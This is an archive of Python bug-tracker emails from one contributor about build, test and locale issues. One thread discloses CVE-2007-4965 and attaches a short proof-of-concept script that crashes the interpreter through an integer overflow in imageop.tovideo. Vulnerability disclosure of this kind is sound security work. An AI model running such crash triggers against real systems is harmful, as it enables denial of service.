[issue1528802] Turkish Character

2007-08-27 Thread Ismail Donmez

Ismail Donmez added the comment:

This works fine with python 2.4 :

>>> import locale
>>> locale.setlocale(locale.LC_ALL,"tr_TR.UTF-8")
'tr_TR.UTF-8'
>>> print u"Mayıs".upper()
MAYIS

--
nosy: +cartman

_
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1528802>
_
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1528802] Turkish Character

2007-08-30 Thread Ismail Donmez

Ismail Donmez added the comment:

@George,

"i".upper() WILL be I-with-a-dot-above in Turkish.i

_
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1528802>
_
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1528802] Turkish Character

2007-08-30 Thread Ismail Donmez

Ismail Donmez added the comment:

There is no need to unassign this, the bug is invalid.

_
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1528802>
_
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1179] [CVE-2007-4965] Integer overflow in imageop module

2007-09-18 Thread Ismail Donmez

New submission from Ismail Donmez:

As reported at
http://lists.grok.org.uk/pipermail/full-disclosure/2007-September/065826.html
. There is an integer overflow in imageop module which results in an
interpreter crash. Original proof of concept code is attached.

--
components: Library (Lib)
files: poc.py
messages: 56020
nosy: cartman
severity: normal
status: open
title: [CVE-2007-4965] Integer overflow in imageop module
type: security
versions: Python 2.5

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1179>
__#!/usr/bin/python

import imageop

sexshit = "a"*1603
evil = "p"*5241
connard = "s"*2000
supaire= "45"*65
print supaire
connard = "cool"
salope = "suceuse"
dtc = imageop.tovideo(sexshit,1,4461,-2147002257)
sexshit = "dtc"*52
print connard,supaire," fin de dump" 
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1179] [CVE-2007-4965] Integer overflow in imageop module

2007-09-19 Thread Ismail Donmez

Ismail Donmez added the comment:

Guido,

The poc is taken as is, sorry.

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1179>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue1179] [CVE-2007-4965] Integer overflow in imageop module

2007-09-19 Thread Ismail Donmez

Ismail Donmez added the comment:

nevyn: Your patch cleanly applies to python 2.4.4 and fixes the
interpreter crash with poc.py

Thanks.

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue1179>
__
___
Python-bugs-list mailing list 
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11149] [PATCH] Configure should enable -fwrapv for clang

2011-05-22 Thread Ismail Donmez

Ismail Donmez  added the comment:

Can someone please review this patch? test_list fails with clang without this 
patch.

--

___
Python tracker 
<http://bugs.python.org/issue11149>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9831] test_distutils should honor PYTHONDONTWRITEBYTECODE

2011-05-29 Thread Ismail Donmez

Ismail Donmez  added the comment:

Awesome, thank you!

--

___
Python tracker 
<http://bugs.python.org/issue9831>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9831] test_distutils fails on MacOSX 10.6

2010-09-11 Thread Ismail Donmez

New submission from Ismail Donmez :

Using py3k branch revision 84707, on Mac OSX 10.6, case-sensitive HFS+ 
filesystem.


==
FAIL: test_package_data (distutils.tests.test_build_py.BuildPyTestCase)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/distutils/tests/test_build_py.py", line 
56, in test_package_data
self.assertTrue("__init__.pyc" in files)
AssertionError: False is not True

--
components: Tests
messages: 116084
nosy: cartman
priority: normal
severity: normal
status: open
title: test_distutils fails on MacOSX 10.6
type: behavior
versions: Python 3.2

___
Python tracker 
<http://bugs.python.org/issue9831>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9832] test_unicodedata fails on MacOSX 10.6

2010-09-11 Thread Ismail Donmez

New submission from Ismail Donmez :

Using py3k branch revision 84707, on Mac OSX 10.6, case-sensitive HFS+ 
filesystem.


==
FAIL: test_ucd_510 (test.test_unicodedata.UnicodeMiscTest)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/test/test_unicodedata.py", line 266, in 
test_ucd_510
self.assertTrue("\u1d79".upper()=='\ua77d')
AssertionError: False is not True

==
FAIL: test_method_checksum (test.test_unicodedata.UnicodeMethodsTest)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/test/test_unicodedata.py", line 67, in 
test_method_checksum
self.assertEqual(result, self.expectedchecksum)
AssertionError: '72252619bcc5d47da59734c1a2bc8f8dd34e14f8' != 
'4504dffd035baea02c5b9de82bebc3d65e0e0baf'
- 72252619bcc5d47da59734c1a2bc8f8dd34e14f8
+ 4504dffd035baea02c5b9de82bebc3d65e0e0baf

--
components: Tests
messages: 116085
nosy: cartman
priority: normal
severity: normal
status: open
title: test_unicodedata fails on MacOSX 10.6
type: behavior
versions: Python 3.2

___
Python tracker 
<http://bugs.python.org/issue9832>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9833] test_ttk_guionly fails on MacOSX 10.6

2010-09-11 Thread Ismail Donmez

New submission from Ismail Donmez :

Using py3k branch revision 84707, on Mac OSX 10.6, case-sensitive HFS+ 
filesystem.


==
ERROR: test_tab_identifiers (tkinter.test.test_ttk.test_widgets.NotebookTest)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/tkinter/test/test_ttk/test_widgets.py", 
line 560, in test_tab_identifiers
self.assertEqual(self.nb.tab('@5,5'), self.nb.tab('current'))
  File "/Users/cartman/Sources/py3k/Lib/tkinter/ttk.py", line 922, in tab
return _val_or_dict(kw, self.tk.call, self._w, "tab", tab_id)
  File "/Users/cartman/Sources/py3k/Lib/tkinter/ttk.py", line 318, in 
_val_or_dict
res = func(*(args + options))
_tkinter.TclError: tab '@5,5' not found

==
FAIL: test_identify (tkinter.test.test_ttk.test_widgets.WidgetTest)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/tkinter/test/test_ttk/test_widgets.py", 
line 27, in test_identify
self.assertEqual(self.widget.identify(5, 5), "label")
AssertionError: 'Button.button' != 'label'
- Button.button
+ label


==
FAIL: test_traversal (tkinter.test.test_ttk.test_widgets.NotebookTest)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/tkinter/test/test_ttk/test_widgets.py", 
line 721, in test_traversal
self.assertEqual(self.nb.select(), str(self.child1))
AssertionError: '.4320099472' != '.4320099600'
- .4320099472
? ^^^
+ .4320099600
? ^^^

--
components: Tests
messages: 116086
nosy: cartman
priority: normal
severity: normal
status: open
title: test_ttk_guionly fails on MacOSX 10.6
type: behavior
versions: Python 3.2

___
Python tracker 
<http://bugs.python.org/issue9833>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9832] test_unicodedata fails on MacOSX 10.6

2010-09-11 Thread Ismail Donmez

Ismail Donmez  added the comment:

Yes I did make distclean before building (to cleanup old build files).

--

___
Python tracker 
<http://bugs.python.org/issue9832>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9832] test_unicodedata fails on MacOSX 10.6

2010-09-11 Thread Ismail Donmez

Ismail Donmez  added the comment:

Btw I configured with;

./configure --with-wctype-functions --with-fpectl --with-wide-unicode 
--with-computed-gotos --enable-ipv6 --with-universal-archs=64-bit 
MACOSX_DEPLOYMENT_TARGET=10.6

--

___
Python tracker 
<http://bugs.python.org/issue9832>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9831] test_distutils fails on MacOSX 10.6

2010-09-11 Thread Ismail Donmez

Ismail Donmez  added the comment:

Btw I configure with;

./configure --with-wctype-functions --with-fpectl --with-wide-unicode 
--with-computed-gotos --enable-ipv6 --with-universal-archs=64-bit 
MACOSX_DEPLOYMENT_TARGET=10.6

--

___
Python tracker 
<http://bugs.python.org/issue9831>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9833] test_ttk_guionly fails on MacOSX 10.6

2010-09-11 Thread Ismail Donmez

Ismail Donmez  added the comment:

Btw I configured with;

./configure --with-wctype-functions --with-fpectl --with-wide-unicode 
--with-computed-gotos --enable-ipv6 --with-universal-archs=64-bit 
MACOSX_DEPLOYMENT_TARGET=10.6

--

___
Python tracker 
<http://bugs.python.org/issue9833>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9831] test_distutils fails on MacOSX 10.6

2010-09-12 Thread Ismail Donmez

Ismail Donmez  added the comment:

Problem is I set PYTHONDONTWRITEBYTECODE to 1, tests should disable this 
environmental variable before testing for *.pyc files. Closing as invalid.

--
resolution:  -> invalid
status: open -> closed

___
Python tracker 
<http://bugs.python.org/issue9831>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue8445] buildbot: test_ttk_guionly failures (test_traversal, test_tab_identifiers, test_identify, test_heading_callback)

2010-09-12 Thread Ismail Donmez

Ismail Donmez  added the comment:

Also reproduced on Snow Leopard.

--

___
Python tracker 
<http://bugs.python.org/issue8445>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9852] test_ctypes fail with clang

2010-09-14 Thread Ismail Donmez

New submission from Ismail Donmez :

This is probably a clang bug but this is the only test failing with clang:


==
FAIL: test_byte (ctypes.test.test_cfuncs.CFunctions)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/ctypes/test/test_cfuncs.py", line 20, 
in test_byte
self.assertEqual(self._dll.tf_b(-126), -42)
AssertionError: 43 != -42

==
FAIL: test_byte_plus (ctypes.test.test_cfuncs.CFunctions)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/ctypes/test/test_cfuncs.py", line 26, 
in test_byte_plus
self.assertEqual(self._dll.tf_bb(0, -126), -42)
AssertionError: 43 != -42

==
FAIL: test_short (ctypes.test.test_cfuncs.CFunctions)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/ctypes/test/test_cfuncs.py", line 44, 
in test_short
self.assertEqual(self._dll.tf_h(-32766), -10922)
AssertionError: 10923 != -10922

==
FAIL: test_short_plus (ctypes.test.test_cfuncs.CFunctions)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/ctypes/test/test_cfuncs.py", line 50, 
in test_short_plus
self.assertEqual(self._dll.tf_bh(0, -32766), -10922)
AssertionError: 10923 != -10922

==
FAIL: test_doubleresult (ctypes.test.test_functions.FunctionTestCase)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/ctypes/test/test_functions.py", line 
143, in test_doubleresult
self.assertEqual(result, -21)
AssertionError: 65771.0 != -21

==
FAIL: test_floatresult (ctypes.test.test_functions.FunctionTestCase)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/ctypes/test/test_functions.py", line 
131, in test_floatresult
self.assertEqual(result, -21)
AssertionError: 65771.0 != -21

==
FAIL: test_intresult (ctypes.test.test_functions.FunctionTestCase)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/ctypes/test/test_functions.py", line 
105, in test_intresult
self.assertEqual(result, -21)
AssertionError: 65771 != -21

==
FAIL: test_longdoubleresult (ctypes.test.test_functions.FunctionTestCase)
--
Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/ctypes/test/test_functions.py", line 
155, in test_longdoubleresult
self.assertEqual(result, -21)
AssertionError: 65771.0 != -21

--
assignee: theller
components: ctypes
messages: 116392
nosy: cartman, theller
priority: normal
severity: normal
status: open
title: test_ctypes fail with clang
type: behavior
versions: Python 3.2

___
Python tracker 
<http://bugs.python.org/issue9852>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9899] [REGRESSION] test_tk broken on MacOSX 10.6

2010-09-19 Thread Ismail Donmez

New submission from Ismail Donmez :

py3k branch, revision 84907

==
ERROR: test_font_eq (tkinter.test.test_tkinter.test_font.FontTest)
--
Traceback (most recent call last):
  File 
"/Users/cartman/Sources/py3k/Lib/tkinter/test/test_tkinter/test_font.py", line 
10, in test_font_eq
font1 = font.nametofont("system")
  File "/Users/cartman/Sources/py3k/Lib/tkinter/font.py", line 22, in nametofont
return Font(name=name, exists=True)
  File "/Users/cartman/Sources/py3k/Lib/tkinter/font.py", line 83, in __init__
"named font %s does not already exist" % (self.name,))
_tkinter.TclError: named font system does not already exist

--
components: Tests
messages: 116883
nosy: cartman
priority: normal
severity: normal
status: open
title: [REGRESSION] test_tk broken on MacOSX 10.6
type: behavior
versions: Python 3.2

___
Python tracker 
<http://bugs.python.org/issue9899>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue8445] buildbot: test_ttk_guionly failures (test_traversal, test_tab_identifiers, test_identify, test_heading_callback)

2010-09-26 Thread Ismail Donmez

Ismail Donmez  added the comment:

With Guilherme's patch;

We are down to 1 error but thats a new errror;


test test_ttk_guionly failed -- Traceback (most recent call last):
  File "/Users/cartman/Sources/py3k/Lib/tkinter/test/test_ttk/test_widgets.py", 
line 28, in test_identify
self.widget.winfo_height() / 2), "label")
  File "/Users/cartman/Sources/py3k/Lib/tkinter/ttk.py", line 568, in identify
return self.tk.call(self._w, "identify", x, y)
_tkinter.TclError: expected integer but got "30.5"

--

___
Python tracker 
<http://bugs.python.org/issue8445>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue8445] buildbot: test_ttk_guionly failures (test_traversal, test_tab_identifiers, test_identify, test_heading_callback)

2010-09-26 Thread Ismail Donmez

Ismail Donmez  added the comment:

Patch fixes the problem for me, please apply. Thanks!

--

___
Python tracker 
<http://bugs.python.org/issue8445>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue8445] buildbot: test_ttk_guionly failures (test_traversal, test_tab_identifiers, test_identify, test_heading_callback)

2010-09-26 Thread Ismail Donmez

Ismail Donmez  added the comment:

Works for me on Snow Leopard for the record.

--

___
Python tracker 
<http://bugs.python.org/issue8445>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue10372] [REGRESSION] test_gc fails on Mac OSX 10.6

2010-11-09 Thread Ismail Donmez

New submission from Ismail Donmez :

py3k r86351,


==
FAIL: test_garbage_at_shutdown (__main__.GCTests)
--
Traceback (most recent call last):
  File "./Lib/test/test_gc.py", line 500, in test_garbage_at_shutdown
b"shutdown; use", stderr)
AssertionError: b'ResourceWarning: gc: 2 uncollectable objects at shutdown; 
use' not found in b''

--
Ran 28 tests in 0.226s

FAILED (failures=1)
restoring automatic collection
Traceback (most recent call last):
  File "./Lib/test/test_gc.py", line 682, in 
test_main()
  File "./Lib/test/test_gc.py", line 669, in test_main
run_unittest(GCTests, GCTogglingTests)
  File "/Users/cartman/Sources/py3k/Lib/test/support.py", line 1141, in 
run_unittest
_run_suite(suite)
  File "/Users/cartman/Sources/py3k/Lib/test/support.py", line 1124, in 
_run_suite
raise TestFailed(err)
test.support.TestFailed: Traceback (most recent call last):
  File "./Lib/test/test_gc.py", line 500, in test_garbage_at_shutdown
b"shutdown; use", stderr)
AssertionError: b'ResourceWarning: gc: 2 uncollectable objects at shutdown; 
use' not found in b''

--
components: Tests
messages: 120854
nosy: cartman
priority: normal
severity: normal
status: open
title: [REGRESSION] test_gc fails on Mac OSX 10.6
type: behavior
versions: Python 3.2

___
Python tracker 
<http://bugs.python.org/issue10372>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11149] [PATCH] Configure should enable -fwrapv for clang

2011-03-20 Thread Ismail Donmez

Ismail Donmez  added the comment:

Whats holding this up?

--

___
Python tracker 
<http://bugs.python.org/issue11149>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11729] libffi assembler relocation check is not robust, fails with clang

2011-03-31 Thread Ismail Donmez

New submission from Ismail Donmez :

The check under Modules/_ctypes/libffi/configure.ac does;

echo '.text; foo: nop; .data; .long foo-.; .text' > conftest.s
if $CC $CFLAGS -c conftest.s 2>&1 | grep -i warning > /dev/null; then
libffi_cv_as_x86_pcrel=no
fi  

With clang; we get:

clang: warning: argument unused during compilation: '-g'

So it fails to detect pc relocation support due to an unrelated warning.

--
components: Build
messages: 132663
nosy: cartman
priority: normal
severity: normal
status: open
title: libffi assembler relocation check is not robust, fails with clang
versions: Python 3.3

___
Python tracker 
<http://bugs.python.org/issue11729>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11729] libffi assembler relocation check is not robust, fails with clang

2011-03-31 Thread Ismail Donmez

Ismail Donmez  added the comment:

This is already fixed in upstream, check has been changed into:

libffi_cv_as_x86_pcrel=no
echo '.text; foo: nop; .data; .long foo-.; .text' > conftest.s
if $CC $CFLAGS -c conftest.s > /dev/null; then
libffi_cv_as_x86_pcrel=yes
fi
])

--

___
Python tracker 
<http://bugs.python.org/issue11729>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11729] libffi assembler relocation check is not robust, fails with clang

2011-03-31 Thread Ismail Donmez

Ismail Donmez  added the comment:

Yes I can workaround it but I'd like to get it fixed inside Python too ;)

--

___
Python tracker 
<http://bugs.python.org/issue11729>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11729] libffi assembler relocation check is not robust, fails with clang

2011-05-05 Thread Ismail Donmez

Ismail Donmez  added the comment:

Ping? Shall I submit a fix for Modules/_ctypes/libffi/configure.ac or better 
yet will you sync in-tree libffi?

--

___
Python tracker 
<http://bugs.python.org/issue11729>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com




[issue11729] libffi assembler relocation check is not robust, fails with clang

2011-05-05 Thread Ismail Donmez

Ismail Donmez  added the comment:

Patch for configure.ac then?

--

___
Python tracker 
<http://bugs.python.org/issue11729>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9852] test_ctypes fail with clang

2010-11-23 Thread Ismail Donmez

Ismail Donmez  added the comment:

Problem seems to be in _ctypes_test.c . If you compile _ctypes_test.c with gcc 
problems disappears.

--

___
Python tracker 
<http://bugs.python.org/issue9852>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9852] test_ctypes fail with clang

2010-11-24 Thread Ismail Donmez

Ismail Donmez  added the comment:

No interesting option. But this looks like a clang bug, compiling 
_ctypes_test.c with -O0 fixes the issue. So this is a compiler optimization bug.

--

___
Python tracker 
<http://bugs.python.org/issue9852>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue10691] make testall no longer working on Darwin

2010-12-13 Thread Ismail Donmez

New submission from Ismail Donmez :

Using py3k r87206 on Mac OSX 10.6.5,

[~/Sources/py3k]> make testall
running build
running build_ext
building dbm using ndbm

Python build finished, but the necessary bits to build these modules were not 
found:
_gdbm  ossaudiodevspwd
To find the necessary bits, look in setup.py in detect_modules() for the 
module's name.

running build_scripts
find ./Lib -name '*.py[co]' -print | xargs rm -f
./python -Wd -E -bb  ./Lib/compileall.py
Traceback (most recent call last):
  File "./Lib/compileall.py", line 223, in 
exit_status = int(not main())
  File "./Lib/compileall.py", line 205, in main
if os.path.isdir(dest):
  File "/Users/cartman/Sources/py3k/Lib/genericpath.py", line 41, in isdir
st = os.stat(s)
TypeError: Can't convert 'NoneType' object to str implicitly
make: *** [testall] Error 1

--
components: Tests
messages: 123865
nosy: cartman
priority: normal
severity: normal
status: open
title: make testall no longer working on Darwin
type: behavior
versions: Python 3.2

___
Python tracker 
<http://bugs.python.org/issue10691>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue10453] Add -h/--help option to compileall

2010-12-13 Thread Ismail Donmez

Ismail Donmez  added the comment:

Patch works fine on Mac OSX 10.6.5

--

___
Python tracker 
<http://bugs.python.org/issue10453>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11149] [PATCH] Configure should enable -fwrapv for clang

2011-02-08 Thread Ismail Donmez

New submission from Ismail Donmez :

clang (as with gcc 4.x) assumes signed integer overflow is undefined. But 
Python depends on the fact that signed integer overflow wraps. 

Currently configure script adds -fwrapv flag for GCC (added by me back in the 
day), same should be done with clang.

Patch attached.

--
components: Build
files: clang-fwrapv.diff
keywords: patch
messages: 128170
nosy: cartman
priority: normal
severity: normal
status: open
title: [PATCH] Configure should enable -fwrapv for clang
type: behavior
versions: Python 3.2
Added file: http://bugs.python.org/file20717/clang-fwrapv.diff

___
Python tracker 
<http://bugs.python.org/issue11149>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11149] [PATCH] Configure should enable -fwrapv for clang

2011-02-08 Thread Ismail Donmez

Ismail Donmez  added the comment:

Currently test_overflow inside test_list fails without this patch. Is that good 
enough or should we create a specific test?

--

___
Python tracker 
<http://bugs.python.org/issue11149>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11149] [PATCH] Configure should enable -fwrapv for clang

2011-02-08 Thread Ismail Donmez

Ismail Donmez  added the comment:

This is only reproducable with clang 2.9 trunk builds due to new optimizations. 
Also note that clang commits confirm that -fwrapv must be provided if you 
assume signed integer overflow wraps. This was also the case with a spec test.

I tested this on OSX 10.6.6 with x86-64 build.

--

___
Python tracker 
<http://bugs.python.org/issue11149>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11149] [PATCH] Configure should enable -fwrapv for clang

2011-02-11 Thread Ismail Donmez

Ismail Donmez  added the comment:

I think the patch is good to go, any comments/questions ?

--

___
Python tracker 
<http://bugs.python.org/issue11149>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11149] [PATCH] Configure should enable -fwrapv for clang

2011-02-13 Thread Ismail Donmez

Ismail Donmez  added the comment:

@Antoine Pitrou , that is tracked by http://bugs.python.org/issue1621

--

___
Python tracker 
<http://bugs.python.org/issue11149>
___
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2890] O_ASYNC and FASYNC should be defined for *nix systems

2008-05-16 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

os module have varios O_ declerations but it doesn't define O_ASYNC.
Same for fcntl module which doesn't define FASYNC.

Simply defining 

O_ASYNC = 02

works fine but its not as elegant as saying os.O_ASYNC.

--
components: Library (Lib)
messages: 66921
nosy: cartman
severity: normal
status: open
title: O_ASYNC and FASYNC should be defined for *nix systems
versions: Python 2.5

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2890>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2890] O_ASYNC and FASYNC should be defined for *nix systems

2008-05-16 Thread Ismail Donmez

Changes by Ismail Donmez <[EMAIL PROTECTED]>:


--
type:  -> feature request

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2890>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2890] O_ASYNC and FASYNC should be defined for *nix systems

2008-05-16 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

I think they at least should be supported on Linux then. It does work if
you use the value itself anyway.

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2890>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2890] O_ASYNC and FASYNC should be defined for *nix systems

2008-05-16 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Add O_ASYNC and FASYNC as GNU extensions.

--
keywords: +patch
Added file: http://bugs.python.org/file10341/async.patch

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2890>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2890] O_ASYNC and FASYNC should be defined for *nix systems

2008-05-16 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Python code already has GNU/Windows only exceptions. Attached patch adds
O_ASYNC and FASYNC as GNU extensions. If accepted I can send a
complimentary documentation patch.

Added file: http://bugs.python.org/file10342/async.patch

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2890>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2890] O_ASYNC and FASYNC should be defined for *nix systems

2008-05-16 Thread Ismail Donmez

Changes by Ismail Donmez <[EMAIL PROTECTED]>:


Removed file: http://bugs.python.org/file10341/async.patch

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2890>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2890] O_ASYNC and FASYNC should be defined if available

2008-05-16 Thread Ismail Donmez

Changes by Ismail Donmez <[EMAIL PROTECTED]>:


--
title: O_ASYNC and FASYNC should be defined for *nix systems -> O_ASYNC and 
FASYNC should be defined if available

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2890>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2890] O_ASYNC and FASYNC should be defined if available

2008-05-16 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Thanks, can you also apply to py3k branch? :)

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2890>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2890] O_ASYNC and FASYNC should be defined if available

2008-05-16 Thread Ismail Donmez

Ismail Donmez <[EMAIL PROTECTED]> added the comment:

Documentation patch is added too.

Added file: http://bugs.python.org/file10344/async-doc.patch

__
Tracker <[EMAIL PROTECTED]>
<http://bugs.python.org/issue2890>
__
___
Python-bugs-list mailing list
Unsubscribe: 
http://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue2905] test_urllib.py crashes with bus error on Darwin

2008-05-18 Thread Ismail Donmez

New submission from Ismail Donmez <[EMAIL PROTECTED]>:

Using latest py3k SVN on MacOSX 10.5.2 :

[~/Sources/py3k/Lib/test]> ../../python regrtest.py test_urllib.py 
test_urllib
zsh: bus error  ../../python regrtest.py test_urllib.py

Backtrace:

#0  _CallProc (pProc=0x904e95f0 , 
argtuple=0x5e7bc0, flags=4353, argtypes=0x0, restype=0x2637b0, 
checker=0x0) at 
/Users/cartman/Sources/py3k/Modules/_ctypes/callproc.c:984
#1  0x00662352 in CFuncPtr_call (self=0x5c9738, inargs=0x5e7bc0, 
kwds=0x0) at /Users/cartman/Sources/py3k/Modules/_ctypes/_ctypes.c:3767
#2  0x8229 in PyObject_Call (func=0x5c9738, arg=0x5e7bc0, kw=0x0) at 
Objects/abstract.c:2184
#3  0x0009e9f4 in  [inlined] () at :0
#4  0x0009e9f4 in PyEval_EvalFrameEx (f=0x2615e0, throwflag=0) at 
Python/ceval.c:0
#5  0x0009ffc8 in PyEval_EvalFrameEx (f=0x23f6d0, throwflag=0) at 
Python/ceval.c:3536
#6  0x0009ffc8 in PyEval_EvalFrameEx (f=0x260d70, throwflag=0) at 
Python/ceval.c:3536
#7  0x000a1133 in PyEval_EvalCodeEx (co=0x3cfcc8, globals=0x3c60c0, 
locals=0x0, args=0x5eb6dc, argcount=1, kws=0x2576d0, kwcount=0, 
defs=0x54d9bc, defcount=1, kwdefs=0x0, closure=0x0) at 
